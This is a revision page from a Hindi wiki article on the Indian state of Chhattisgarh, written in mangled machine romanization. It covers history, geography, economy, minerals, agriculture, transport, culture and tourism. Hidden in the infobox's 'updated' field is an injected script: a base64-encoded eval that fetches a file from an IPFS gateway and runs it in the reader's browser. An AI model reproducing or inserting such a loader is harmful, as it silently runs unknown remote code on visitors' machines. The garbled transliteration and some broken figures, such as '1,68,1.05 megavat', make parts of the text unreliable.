Difference between revisions of "छत्तीसगढ़"
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|जनसंख्या=2,55,40,196 (17वाँ स्थान)<ref>2011 की जनगणना के अनुसार</ref> | |जनसंख्या=2,55,40,196 (17वाँ स्थान)<ref>2011 की जनगणना के अनुसार</ref> | ||
|जनसंख्या घनत्व=189 | |जनसंख्या घनत्व=189 | ||
| − | |क्षेत्रफल=1,35, | + | |क्षेत्रफल=1,35,361 वर्ग किमी (10वाँ स्थान)<ref name="छत्तीसगढ़"/> |
|भौगोलिक निर्देशांक=21.27° उत्तर, 81.60° पूर्व | |भौगोलिक निर्देशांक=21.27° उत्तर, 81.60° पूर्व | ||
|जलवायु= | |जलवायु= | ||
Revision as of 12:38, 6 May 2018
chhattisagadh
| |
| rajadhani | rayapur |
| rajabhasha(ean) | chhattisagadhi aur hiandi |
| sthapana | 1 navanbar, 2000 |
| janasankhya | 2,55,40,196 (17vaan sthan)[1] |
| · ghanatv | 189 /varg kimi |
| kshetraphal | 1,35,361 varg kimi (10vaan sthan)[2] |
| bhaugolik nirdeshaank | 21.27° uttar, 81.60° poorv |
| mandal | 5 (sambhag) |
| zile | 27[2] |
| sabase b da nagar | rayapur |
| liang anupat | 1000:991 ♂/♀ |
| saksharata | 70.28% |
| · stri | 60.24% |
| · purush | 80.27% |
| uchch nyayalay | chhattisagadh uchch nyayalay |
| rajyapal | balaram das tandan |
| mukhyamantri | raman sianh[2] |
| vidhanasabha sadasy | 90[2] |
| lokasabha kshetr | 11[2] |
| rajakiy pashu | jangali bhaians (Wild Buffalo) |
| rajakiy pakshi | paha di maina (Hill Myna) |
| rajakiy vriksh | sal (Sal) |
| vishesh | bharat ke kul khanij utpadan ka 16 pratishat khanij utpadan chhattisagadh mean hota hai.[2] |
| any janakari | bharat mean visheshat: do aise kshetr haian, jinaka nam vishesh karanoan se dhire dhire badal gaya. pahala 'magadh', jo bauddh viharoan ke karan 'bihar' ban gaya aur doosara 'dakshin kaushal', jo 'chhattis gadhoan' ko apane mean samahit rakhane ke karan 'chhattisagadh' ban gaya. |
| bahari k diyaan | adhikarik vebasait |
| adyatan | 13:48, 25 aprॅl 2018 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
chhattisagadh (aangrezi: Chhattisgarh) bharat ka 26vaan rajy hai. bharat mean visheshat: do aise kshetr haian, jinaka nam vishesh karanoan se dhire dhire badal gaya. pahala 'magadh', jo bauddh viharoan ke karan 'bihar' ban gaya aur doosara 'dakshin kaushal', jo 'chhattis gadhoan' ko apane mean samahit rakhane ke karan 'chhattisagadh' ban gaya. ye donoan hi kshetr prachin kal se bharat ko gauravanvit karate rahe haian. 'chhattisagadh' pauranik kal se hi vibhinn sanskritiyoan ke vikas ka kendr raha hai. yahaan ke prachin mandir tatha unake bhagnavashesh batate haian ki yahaan vaishnav, shaiv, shakt aur bauddh ke sath hi sath anek ary tatha anary sanskritiyoan ka samay-samay par prabhav raha hai.
gathan
chhattisagadh rajy ka gathan 1 navanbar 2000 ko hua tha. chhattisagadh poorv mean dakshini jharakhand aur u disa se, pashchim mean madhy pradesh aur maharashtr se, uttar mean uttar pradesh aur pashchimi jharakhand aur dakshin mean aandhr pradesh se ghira hai. chhattisagadh ka bhoo-bhag sampoorn bharat ke bhoo-bhag ka kul 4.14% hai. is prakar chhattisagadh rajy kshetraphal ke hisab se desh ka 10vaan b da rajy hai. janasankhya ki drishti se is rajy ka bharat mean 17vaan sthan hai.
itihas
madhy pradesh se banaya gaya yah rajy bharatiy sangh ke 26 vean rajy ke roop mean 1 navanbar, 2000 ko poorn astitv mean aya. isase poorv chhattisagadh 44 varsh tak madhy pradesh ka ek aang raha tha. prachin kal mean is kshetr ko 'dakshin kaushal' ke nam se jana jata tha. is kshetr ka ullekh ramayan aur mahabharat mean bhi milata hai. chhathi aur barahavian shatabdiyoan ke bich sarabhapooriya, paanduvanshi, somavanshi, kalachuri aur nagavanshi shasakoan ne is kshetr par shasan kiya. kalachuri aur nagavanshi shasakoan ne is kshetr par lambe samay tak shasan kiya. kalachuriyoan ne chhattisagadh par sanh 980 se lekar 1791 tak raj kiya. sanh 1854 mean aangrezoan ke akraman ke bad mahattv badh gaya. sanh 1904 mean sanbalapur u disa mean chala gaya aur 'saraguja' riyasat bangal se chhattisagadh ke pas a gee.
shiksha
shiksha ke kshetr mean bhi chhattisagadh ne dhire-dhire vikas ki gati ko apanaya hai. aitihasik drishti se dekhean to chhattisagadh ki shiksha paddhati mean sanskrit ka bhi mahattvapoorn sthan hai. mahant vaishnavadas ji sanskrit shiksha ke b de premi the. shiksha ke prasar-prachar ke lie unhoanne ullekhaniy kary kiya. sanh 1955 mean rayapur mean 'shri doodhadhari vaishnav sanskrit mahavidyalay' khulavane ke lie 3.5 lakh rupaye nagad aur 100 ek d zamin dan mean di. age chalakar amaradip t aaukij ko bhi is mahavidyalay ko dan kar diya. is kary mean desh ke pratham rashtrapati d aau. rajendr prasad aur madhy pradesh[3] ke mukhyamantri pandit ravishankar shukl ka vishesh yogadan tha. isi prakar balikaoan ki shiksha ke lie rayapur mean sanh 1958 mean 'shasakiy doodhadhari bajarangadas mahila mahavidyalay' khulavaya aur isaki vyavastha ke lie math se 1.5 lakh rupaye nagad aur peandri gaanv ke 300 ek d zamin dan mean di. madhy praant ke tatkalin mukhyamantri pandit ravishankar shukl ki 'vidyamandir yojana' ke kriyanvayan ke lie math se 30 ek d zamin dan mean di. sanh 1958 mean apane guru ke nam par abhanapur mean 'shri bajarangadas uchchatar madhyamik vidyalay' khulavaya. isi prakar apane pita ki smriti mean apane paitrik gaanv pancharookhi mean ek haee skool khulavaya.[4] chhattisagadh mean shiksha ke star ko aur ooancha uthane ke lie yahaan vishvavidyalayoan ki bhi sthapana huee hai. 'guru ghasidas vishvavidyalay' ko rajy ka pahala vishvavidyalay banane ka gaurav prapt hua, jisaki sthapana 16 joon, sanh 1983 ko madhy pradesh ke bilasapur mean huee thi. bad mean madhy pradesh ka vibhajan ho gaya aur yah vishvavidyalay chhattisagadh mean shamil ho gaya. janavari 2009 mean keandr sarakar dvara sansad mean pesh 'keandriy vishhvavidyalay adhiniyam' 2009 ke madhhyam se ise keandriy vishhvavidyalay ka darja diya gaya.
bhoogol
chhattisagadh rajy madhy pradesh ke dakshin-poorv mean 17°46' uttari akshaansh se 24°5' uttari akshaansh tatha 80°15' poorvi deshaantar se 84°15' poorvi deshaantar rekhaoan ke madhy sthit hai. van kshetraphal ke hisab se chhattisagadh bharat ka tisara b da rajy hai. isaki uttari-dakshin lambaee 360 kimi. tatha poorv-pashchim chau daee 140 kimi. hai. chhattisagadh ke uttar mean uttar pradesh, uttari-poorvi sima mean jharakhand, dakshin-poorv mean odisha rajy sthit hai. [[chitr:Borandev-Temple-Chhattisgarh.jpg|left|thumb|220px|bhoramadev mandir, chhattisagadh]] dakshin mean andhr pradesh, dakshin-pashchim mean maharashtr tatha uttari-pashchim bhag mean madhy pradesh sthit hai. chhattisagadh rajy mean paanch sambhag (bastar, durg, rayapur, bilasapur, saraguja) v 27 zile haian. yah pradesh bharat ke kul kshetraphal ka 4.11% hai. yah rajy anek chhote-chhote rajyoan se b da hai. chhattisagadh ka kshetraphal panjab, hariyana evan keral in tinoan rajyoan se yog se adhik hai. isake alava chhattisagadh ka sambhag bastar[5] ka vistar keral ke kshetraphal se b da hai.
jalavayu
chhattisagadh ki jalavayu mean bhi m aaunasooni jalavayu ki sabhi visheshataean haian. chhattisagadh pradesh ki jalavayu ushn-ardr m aaunasoon prakar ki hai, jise samany bolachal mean ushnakatibandhiy m aaunasooni jalavayu ya shushk up-ardr kaha jata hai. m aaunasoon ki drishti se chhattisagadh shushk ardr m aaunasooni jalavayu ke antargat ata hai. kark rekha pradesh ke uttari bhag (saraguja, koriya zile) se hokar guzarati hai, jisaka paryapt prabhav yahaan ki jalavayu par p data hai. sampoorn pradesh ki jalavayu mean aanshik bhinnata hai, jo samay-samay par varsha, tapaman adi ke roop mean parilakshit hoti rahati hai. chhattisagadh mean grishm mean adhik garmi tatha shitakal kafi thanda hone ke sath-sath varsha rritu mean nyoon dainik tapaantar evan nyoonadhik varsha yahaan ki jalavayu ki mukhy visheshata hai. is tarah pradesh mean desh ki m aaunasooni jalavayu mean prapt rritu kram se abhinn sthiti drishtigochar hoti hai. aanchal mean ausat varsha 140 semi. tatha isaka 90% dakshin-pashchim m aaunasoon ke dvara prapt hota hai arthath joon se 1 sitambar ke madhy.
chhattisagadh rajy ki nadiyaan
- REDIRECTsaancha:mukhy
nadiyaan jivanadayini hoti haian. kisi bhi rashtr ya rajy ke samajik, rajanitik, arthik, bhautik evan saanskritik itihas mean inaka pramukh sthan hai. nadiyaan peyajal, sianchaee aur parivahan ka pramukh srot rahi haian, jisake karan adikal se hi sabhyataoan ka vikas nadiyoan kinare sthit hai. nadiyoan se bhoomi ke dhal ke vishay mean janakari prapt hoti hai. kisi rajy ka apavah tantr vahaan ke uchchavach evan bhoomi ke dhal par nirbhar karata hai. ye nadiyaan apane pravah ke sath vibhinn prakar ke mahattvapoorn tattv lakar apane tatoan par bichha deti haian, jo tattv krishi mean bahut hi sahayak hote haian. chhattisagadh rajy mean mahanadi ko 'ganga' ke saman pavitr mana jata hai, yahi karan hai ki yah 'chhattisagadh ki ganga' kahi jati hai. is nadi ko ganga kahe jane ke bare mean manyata hai ki, tretayug mean shrriangi rrishi ka ashram sihava ki paha di mean tha. ve ayodhya mean maharaja dasharath ke nivedan par putreshthi yajn karakar laute the. unake kamandal mean yajn mean prayukt ganga ka pavitr jal bhara tha. samadhi se uthate samay kamandal ka abhimantrit jal gir p da aur bahakar mahanadi ke udgam mean mil gaya. gangajal ke milane se mahanadi ganga ke saman pavitr ho gayi.
arthavyavstha
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chhattisagadh bharat ke khanij samriddh rajyoan mean se ek hai. yahaan par choona- patthar, lauh ayask, taanba, f aausphet, maianganiz, b aauksait, koyala, esabestॅs aur abhrak ke ullekhaniy bhandar haian. taanbe ki sarvadhik matra bilasapur zile se prapt hoti hai. chhattisagadh mean lagabhag 52.5 karo d tan ka dolomait ka bhandar hai, jo poore desh ke kul bhandar ka 24 pratishat hai. yahaan b aauksait ka anumanit 7.3 karo d tan ka samriddh bhandar hai aur tin ayask ka 2,700 karo d se bhi zyada ka ullekhaniy bhandar hai. chhattisagadh mean hi koyale ka 2,690.8 karo d tan ka bhandar hai. svarn bhandar lagabhag 38,05,000 kilo kshamata ka hai. yahaan bharat ka sarvottam lauh ayask milata hai, jisaka 19.7 karo d tan ka bhandar hai. bailadila, bastar, durg aur jagadalapur mean loha milata hai. bailadila mean sarvadhik lauh ayask nikala jata hai. yahaan se prapt lauh achchhi kism aur uchch koti ka hota hai. bhilaee mean bharat ke b de ispat sanyantroan mean se ek sthit hai. rajy mean 75 se bhi zyada b de aur madhyam ispat udyog haian, jo garm dhatu, kachcha loha, bhurabhura loha (spanj ayaran), rel-patariyoan, lohe ki silliyoan aur pattiyoan ka utpadan karate haian. 'bhilaee ispat sanyatr' ki sthapana sanh 1957 mean ki gee thi. yah desh ek b da tatha mahattvapoorn ispat sayantr hai. rayapur zile ke devabhog mean hire ke bhandar haian.
oorja
chhattisagadh apani avashyakata se adhik oorja ka utpadan karata hai. yahaan koyala samriddh koraba mean tin tapavidyut sanyantr haian, aur any kee sanyantr lagane ki yojana hai| koraba mean pahala vidyut sanyatr sanh 1978 mean mean sthapit kiya gaya tha. yah din chhattisagadh rajy ke lie svarnim tha. sauth eestarn kolafildas limited koyale ke vishal bhandar vale kshetroan mean khoj kar raha hai. chhattisagadh mean teandoo patte ka bharat ke kul utpadan ka 70 pratishat hota hai.
audyogik kshetr
ek audyogik kshetr aur kee vikasashil audyogik nagar vale chhattisagadh ka arthik parivesh adhunik hai. bhilaee, bilasapur, rayapur, rayagadh aur durg rajy ke mukhy shahar haian. bhilaee ki relave lain ke poorv aur pashchim mean shahari vistar hua hai. koraba, rajanaandagaanv aur rayagadh any vikasashil shahari keandr haian. sidhe naharoan se sianchit kshetr bhi haian. is kshetr ka gramin adhar kamazor hai aur yahaan ke bhitar ilake abhi tak ghor gramin tatha avikasit haian. shahari keandroan ka kshetriy janajatiy arthavyavastha par bahut kam prabhav p da hai.
krishi
rajy mean 80 pratishat abadi krishi aur usase ju di gatividhiyoan mean lagi hai. 137.9 lakh hekteyar bhaugolik kshetr mean se kul krishi kshetr kul kshetr ka lagabhag 35 pratishat hai. kheti ka pramukh mausam khariph haian. chaval yahaan ki mukhy fasal hai. rajy mean dhan ka sarvadhik bhandar maujood hai, shayad yahi mukhy karan hai ki rajy ko 'dhan ka katora' kahakar sammanit kiya gaya hai. yahaan prati hekteyar 14 kviantal dhan ka utpadan hota hai. rajy ki any mahattvapoorn fasalean haian- makka, geanhooan, kachcha anaj, mooangaphali aur dalahan. koriya chhattisagadh rajy ke pramukh kshetroan mean se ek hai, jahaan par makke ki kheti sabase zyada ki jati hai. lagabhag 3.03 lakh hekteyar mean bagavani fasalean ugaee jati haian. chhattisagadh mean 'iandira gaandhi krishi vishvavidyalay' pramukh krishi kary ke bare mean vistarapoorvak shodh karata hai. vishvavidyalay ki sthapana 20 janavari, sanh 1987 ko ki gee thi. yah krishi vishvavidyalay krishi shiksha pradan karata hai. yah krishi vishvavidyalay 9 mahavidyalayoan, 8 anusandhan kendroan tatha 4 krishi vijnan kendroan ke madhyam se kam kar raha hai. is vishvavidyalay ka lakshy hai- 'krishi shiksha anusandhan aur prasar'.
ek vistrit aur laharadar pradesh chhattisagadh mean chaval aur anaj ki kheti hoti hai. nimnabhoomi mean chaval bahutayat mean hota hai, jabaki uchchabhoomi mean makka aur mote anaj ki kheti hoti hai. kshetr ki mahattvaparn naqadi fasaloan mean kapas aur tilahan shamil haian. besin mean adhunik krishi takanikoan ka prachalan dhimi gati se ho raha hai. krishi ki drishti se yah ek behad upajaoo kshetr hai. yah desh ka 'dhan ka katora' kahalata hai aur 600 se zyada chaval miloan ko anaj ki apoorti karata hai. kul kshetr ka adhe se kam kshetr krishi yogy hai, halaanki sthalakriti, varsha aur mitti mean vividhata ke karan isaka vitaran asaman hai. yahaan ki krishi ki visheshata kam utpadan aur kheti ki paranparik vidhiyoan ka prayog hai.
udyog
chhattisagadh abhi tak apane sansadhanoan ka sanpoorn labh nahian utha paya hai. audyogikikaran ho raha hai, lekin usaki gati dhimi hai. b de aur madhyam paimane ke udyog keandr samane a rahe haian. suniyojit vikas ke aang ke roop mean rayapur aur bhilaee ko audyogik kshetr ke roop mean sthapit kiya gaya hai. sookshm ilektr aauniks upakaran aur uchch praudyogik aauptikal faibar ke nirman jaise any adhunik udyogoan ko bhi sthapit kiya gaya hai. niji udyogoan mean simeant karakhane, kagaz, chini aur kap da (sooti, ooni, resham aur joot) miloan ke sath-sath ata, tel aur ara milean bhi haian. yahaan par samany ianjiniyariang vastuoan ke sath-sath rasayanik khad, kritrim reshe aur rasayan utpadan ki bhi kuchh ikaiyaan haian. rajy mean visphotak padarthoan ka karakhana koraba zile mean sthit hai, jahaan kee prakar ke khataranak visphotak padarthoan ka nirman kiya jata hai. rajy ki laghu udyog ikaiyoan ka rashtriy paridrishy par prabhav chho dana baqi hai lekin hathakaragha udyog yahaan phal-phool raha hai aur sa di bunane, galiche v bartan banane tatha sone rasayan utpadan ki bhi kuchh ikaiyaan haian. bharat mean bi di banane ka udyog bhi b de paimane par hota hai. madhy pradesh, u disa aur chhattisagadh rajyoan mean tendoopatta ek b di matra mean ugaya jata hai. chhattisagadh rajy mean is patte ka adhikatar prayog bi di banane mean kiya jata hai.
chhattisagadh mean van, khanij aur bhoojal jaise prakritik sansadhanoan ka asim bhandar hai. pichhale kuchh varsho se rajy mean udyogoan ka vistar ho raha hai. chhattisagadh mean desh ka lagabhag 15 pratishat ispat taiyar hota hai. bhilaee ispat sanyantr, rashtriy khanij vikas nigam, sauth-eestarn kol philds limited en.ti.pi.si. jaise bharat sarakar aur e.si.si. gujarat aanbuja, grasim, el eand ti si si aee aur phraans ke la-pharge jaise b de simeant plaant tatha 53 ispat pariyojanaean kriyanvayan ke vibhinn charanoan mean hai. rajy mean lagabhag 133 ispat dhalane ke karakhane, anek laghu ispat sanyantr, 11 phairo-el aauy karakhane, ianjiniyariang aur phaibrikeshan ikaiyoan sahit b de paimane par krishi adharit aur khady prasanskaran, rasayan, plastik, bhavan nirman samagri aur vanotpad par adharit karakhane haian. anukool audyogik vatavaran ke karan chhattisagadh mean vishal audyogik nivesh ho raha hai. bharat ke keandr mean sthit chhattisagadh rajy karakhanoan ko har samay bijali upalabdh karane mean saksham hai. rajy mean koyale ke vishal bhandar (desh ke 17 pratishat) ke karan se rajy ke pas kam lagat par bijali utpadan ke avasar haian aur any ke pas 50,000 megav aaut ki bijali utpadan kshamata hai.
pashupalan
[[chitr:Hill-Myna.jpg|thumb|250px|paha di maina]] chhattisagadh rajy mean maveshi aur pashupalan mahattvapoorn karyoan mean se ek haian. maveshiyoan mean gay, bhaians, bakari, bhe d, aur sooar adi pramukh roop se shamil haian. rajy mean bilasapur sthit bakari v gay ke kritrim prajanan aur sankaran keandr in janavaroan ki sankhya aur gunavatta badhane mean lage haian. gokulam (aanjora) rajy ka ekamatr pashu chikitsalay aur ek mahavidyalay hai, jahaan pashuoan adi ki dekhabhal aur unase sambandhit bimariyoan ka ilaj kiya jata hai. chhattisagadh mean pe d-paudhe aur nadi-paha d adi bahut haian. yahaan par pakshiyoan ki bhi vibhinn qismean paee jati haian. paha di maina ko yahaan ka 'rajakiy pakshi' aur 'van bhaianse' ko 'rajakiy pashu' ghoshit kiya gaya hai. isake sath hi sath 'sal vriksh', jise chhattisagadh mean 'saraee' kaha jata hai, ko 'rajakiy vriksh' ghoshit kiya gaya hai.
soochana praudyogiki
chips (chhattisagadh ianphotek eand bayotek promoshan sosayati) uchchadhikar prapt parishad hai jo mukhyamantri ki adhyakshata mean gathit hai aur isaka kary rajy mean soochana praudyogiki aur jaiv praudyogiki ko protsahit karana hai. ee-shasan ki sari nagarik sevaean ‘ch aauis’ (chhattisagadh aaunalain ianph aaurmeshan ph aaur sitijan eanpavarameant) namak pariyojana ke aantargat haian. chhattisagadh ko, nagarikoan ki behatari ke lie soochana praudyogiki ka upayog karake taiyar ki gee manav vikas riport ke lie sanyukt rashtr vikas karyakram puraskar, 2007 mila hai.
khanij sansadhan
chhattisagadh mean agney, kayaantarit aur talachhati kshetroan mean anek prakar ke khanij pae jate haian. koyala, kachcha loha, choona patthar, b aauksait, dolomait tatha tin ke vishal bhandar rajy ke vibhinn hissoan mean haian. rayapur zile mean daimandiphairas kianbaralaits mean se bahut matra mean hira prapt kiya jata haian. isake alava sona, adhar dhatuoan, billauri patthar, chikana patthar, setait, phloororait, korandam, grephait, lepidolait, uchit akar ki emligonait ke vishal bhandar milane ki sanbhavana hai. rajy mean desh ke kul utpadan ka 20 pratishat ispat aur simeant ka utpadan kiya jata hai. kachche tin ka utpadan karane vala yah desh ka ekamatr rajy hai. yahaan khanij sansadhanoan se utkhanan, khanij adharit udyog lagane aur rozagar ke avasar badhane ki apar kshamata hai. chhattisagadh vishv ka sabase adhik kianbaralait bhandar ka kshetr hai.
sianchaee aur bijali
chhattisagadh jab astitv mean aya tab yahaan kul sianchaee kshamata 13.28 lakh hekteyar (1 navambar 2000 ke anusar) thi. 2 varsh aur 9 mah bad 1.25 lakh hekteyar ki atirikt kshamata ka srijan kiya gaya. pramukh roop se poori ki gee pariyojanaean haian tandula, kodar aur peyari. hasadev, mahanadi rijarvayar pariyojana, soandhur aur joank kuchh any pariyojanaean haian. rajy bijali bord ki kul kshamata 1,68,1.05 megavat hai, jisamean se 1,260 megavat tapabijali aur shesh panabijali hai. rajy bijali bord ne koraba mean 500 megavat ki atirikt sthapit utpadan kshamata (2x250 megavat yoonit) badhaee hai. rajy ke kul 19,270 base hue gaanvoan mean se 93 pratishat gaanvoan mean bijali pahuanchaee ja chuki hai. chhattisagadh mean sianchaee suvidha mean badhotari karane ke lie yahaan ke do b de jalashayoan ko lanbi nahar se jo da gaya hai. mukhyamantri raman sianh ne rajy ke do pramukh sianchaee jalashayoan dhamatari zile ke gangarel sthit ravishankar jalashay aur durg zile ke taandula jalashay ko lagabhag 60 kilomitar lanbi nahar ke jarie apas mean jo dane ki prastavit yojana ke lie sarvekshan ki svikriti pradan kar di.[6]
parivahan
thumb|chitrakot jalaprapat, chhattisagadh chhattisagadh desh ke any bhagoan se s dak, rel aur vayumarg se bhalibhaanti ju da hai.
s dak marg
- rashtriy rajamarg sankhya 6 aur 200 isase hokar guzarate haian.
- rajy mean s dakoan ki kul lanbaee 34,930 ki.mi. hai.
- rashtriy rajamargoan ki lanbaee 2,225 ki.mi., praantiy rajamargoan ki lanbaee 3,213.50 ki.mi., zila s dakoan ki lanbaee 4,814 ki.mi.aur gramin s dakoan ki lanbaee 27,001 ki.mi. hai.
- uttar-dakshin ko jo dane vale do tatha poorv-pashchim ko jo dane vale char s dak galiyare banae ja rahe haian jinaki kul lanbaee 3,106.75 ki.mi.hai.
rel marg
- chhattisagadh mean kuchh pramukh relamarg rajy se hokar guzarate haian aur bilasapur, durg, rayapur, maneandragadh tatha chaanpa mahattvapoorn rel jankshan haian.
havaee marg
- chhattisagadh mean rayapur aur bilasapur mean havaee adde haian.
- rayapur nee dilli, nagapur, muanbee aur bhuvaneshvar ke sath dainik udanoan dvara ju da hai.
- bilasapur, bhilaee, rayagadh, jagadalapur, ambikapur, koraba, jashapuranagar aur rajanaandagaanv mean havaee pattiyaan haian.
saanskritik jivan
- chhattisagadh ki sanskriti ki ek dhara lok jivan mean pravahit hai.
- yah dhara jivan ke ullas se rasamay hai aur anek roopoan mean prakat hai.
- isake aantargat aanchal ke prasiddh utsav, nrity-sangit, mela-m dee tatha lok shilp shamil hai.
- bastar ka dashahara, rayagadh ka ganeshotsav tatha bilasapur ka raut madhee aise hi utsav haian, jinaki apani hi pahachan hai.
- pandavani, bharathari, panthi nrity, karama, dadara, ge di nrity, gaura, dhanakul adi ki svar madhuri bhav-bhangima tatha lay mean oj aur ullas samaya hua hai. chhattisagadh ki shilpakala mean paranpara aur astha ka adbhut samanvay hai.
- yahaan ki paranparik shilp kala mean dhatu, kashth, baans tatha mitti ekakar hokar archana aur alankaran ke lie vishesh roop se lokapriy hai.
- sanskriti vibhag ke karyakramoan mean paranparik nrity, sangit tatha shilpakala ka sanrakshan aur sanvardhan ke sath-sath kalakaroan ko avasar bhi pradan kiye.
parv evan tyohar
chhattisagadh ke prasiddh tyohar haian- pola, navakhaee, dashahara, dipavali, holi, govardhan pooja ko b de utsah aur dhoomadham se manaya jata hai.
paryatan sthal
bharat ke hriday mean sthit chhattisagadh mean samriddh saanskritik panrapara aur akarshak prakritik vividhata hai. rajy mean prachin smarak, durlabh vanyajiv, naqqashidar mandir, bauddhasthal, mahal, jal-prapat, parvatiy pathar, r aauk peantiang aur gufaean haian. bastar apani anokhi saanskritik aur bhaugolik pahachan ke sath paryatakoan ko ek nee tajagi pradan karata ho. chitrakot ke jal-prapat jahaan iandravati nadi ka pani 96 phut ooanchaee se girata hai. kaanger nadi ke sau phut ki ooanchaee se girane se bane tirathagadh jalaprapat nayanabhiram drishy upasthit karate haian. any pramukh sthal haian: keshakal ghati, kaangeraghat rashtriy park, kailash gufaean aur kudanbasar gufaean jo apane prakritik sauandary ke lie jani jati haian. jangal, paha d, patal bhedi jharanoan ke sath-sath prakritik saundary shauqinoan ke lie chhattisagadh mean bahut kuchh hai. rajy mean 3 rashtriy park aur 11 vaild laif seanchuri haian. jahaan shit rritu ke lie jangal saphari aur kaianpiang suvidha upalabdh karaee gee hai. chhattisagadh rajy mean paha di maina ko rajakiy pakshi ka gaurav pradan kiya gaya hai. baranavapara rajy ka pratham pakshi vihar tha, jise britishakal mean vikasit kiya gaya tha. rajy mean pairaseliang, pairaglaidiang, paipaliang, r aauk klaianbiang aur v aautar sports jaisi suvidhaoan ki bhi taiyari ki gayi hai.
jalaprapat
amritadhara jalaprapat koriya zile ka ek prakritik jharana hai, jo hasado nadi par sthit hai. chhattisagadh mean koriya bharat mean british shasan ke dauran ek riyasat thi. poore bharat mean koriya ko prakritik sauandary ke lie jana jata hai. [[chitr:Amritdhara-Waterfall.jpg|thumb|left|250px|amritadhara jalaprapat, koriya zila, chhattisagadh]] yah jagah poore ghane jangaloan, paha doan, nadiyoan aur jharanoan se bhari p di hai. amritadhara jalaprapat koriya mean sabase prasiddh jharanoan mean se ek hai. koriya mean amritadhara jharana, ek bahut hi shubh shiv mandir ke lie prasiddh hai. is jagah ke asapas ek bahut prasiddh mela har sal ayojit kiya jata hai. mele ka ayojan ramanuj pratap sianh joodev, jo koriya rajy ke raja the, ne varsh 1936 mean kiya gaya tha. mahashivaratri ke utsav ke dauran is jagah mean mele ka ayojan hota hai, jis dauran yahaan lakhoan shraddhaluoan ki bhi d upasthit hoti hai.
chhattisagadh ke jashapur zile se 15 kimi. door 'ranidah jalaprapat' sthit hai. manyata hai ki u disa ki kisi rani ne yahaan koodakar atmahatya kar li thi. isilie isaka nam ranidah p da. ranidah ke nikat mahakaleshvar mandir sthit hai. ranidah jalaprapat se ek kimi. door dakshin mean aitihasik sthal panchabhaiya prachin shivamandir hai. is jalapratap se age bihar ki ramarekha ki prasiddh gufaean evan prachin mandir jane ka marg hai. isalie ranidah ka is rajy mean vishesh mahattv hai. bilasapur mean ratanapur ka mahamaya mandir, dooangaragadh mean banbaleshvari devi mandir, daantevada mean danteshvari devi mandir aur chhathi se dasavian shatabdi mean bauddh dharm ka pramukh keandr raha sirapur bhi mahattvapoorn paryatan sthal haian. mahaprabhu vallabhachary ka janmasthan chanparan, khootaghat jal prapat, mallahar mean diandaneshvari devi mandir, achanakamar abhayarany, rayapur ke pas udanti abhayarany, koraba zile mean pali aur kandee jal prapat bhi paryatakoan ke manapasand sthal haian. kharod janjagir chanpa ka sabari mandir, shivarinarayan ka naranarayan mandir, ranjim ka rajiv lochan aur kuleshvar mandir, sirapur ka lakshman mandir aur janjagir ka vishnu mandir mahattvapoorn dharmik sthaloan mean haian.
smaraniy tathy
- 2011 ki janaganana ke anusar
- chhattisagadh mean bijapur sabase kam saksharata vala zila hai.
- chhattisagadh ka sarvadhik sakshar zila durg hai.
- chhattisagadh ki kul janasankhya do karo d 55 lakh 40 hajar 196 hai. isamean ek karo d 28 lakh 27 hajar 915 purush aur ek karo d 27 lakh 12 hajar 281 mahilaean haian. pradesh ki gramin abadi lagabhag ek karo d 96 lakh 3 hajar 658 aur shahari abadi 59 lakh 36 hajar 538 hai.
- purush aur stri janasankhya mean laiangik anupat ke mamale mean chhattisagadh ka sthan desh mean doosara hai. yahaan prati ek hajar purushoan ke bich striyoan ki sankhya 991 hai.
- khanij rajasv ki drishti se desh mean doosara b da rajy hai.
- van rajasv ki drishti se tisara b da rajy hai.
- rajy ke kul kshetraphal ka 44 pratishat hissa bahumooly vanoan se paripoorn hai.
- desh ke kul khanij utpadan ka 16 pratishat khanij utpadan chhattisagadh mean hota hai.
- chhattisagadh mean desh ka 38.11 pratishat tin ayask, 28.38 pratishat hira, 18.55 pratishat lauh ayask aur 16.13 pratishat koyala, 12.42 pratishat dolomait, 4.62 pratishat baksait upalabdh hai.
- chhattisagadh mean bharat ka lagabhag 20 pratishat ayaran or hai, yani har paanchavean tan ayaran or par chhattisagadh ka nam likha hai.
- bharat mean koyale par adharit har chhathavaan udyog chhattisagadh ke koyale se chal sakata hai. desh ke kul koyale ke bhandar ka lagabhag 17 pratishat chhattisagadh mean hai.
- dolomait par adharit har paanchavaan udyog chhattisagadh par nirbhar hai, kyoanki chhattisagadh ke pas desh ke kul dolomait ka lagabhag 12 pratishat bhandar hai.
- bayodijal utpadan aur usake lie ratanajot ke vriksharopan mean chhattisagadh desh mean agrani hai.[7]
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tika tippani aur sandarbh
- ↑ 2011 ki janaganana ke anusar
- ↑ 2.0 2.1 2.2 2.3 2.4 2.5 mukhaprishth (aangrezi) (ech.ti.em.el) chhattisagadh ki adhikarik vebasait. abhigaman tithi: 14 julaee, 2014.
- ↑ vibhajan se poorv
- ↑ kesharavani, pro. ashvini. mat aur mahant paranpara (hindi) (ech.ti.mal.el.). . abhigaman tithi: 14 janavari, 2012.
- ↑ 39,114 varg kimi.
- ↑ nadiyaan n sahi jalashayoan ko hi jo da jaega (hindi). . abhigaman tithi: 15 janavari, 2012.
- ↑ chhattisagadh-pramukh tathy (hiandi) chhattisagadh janasanpark vibhag. abhigaman tithi: 25 aprail, 2018.
sanbandhit lekh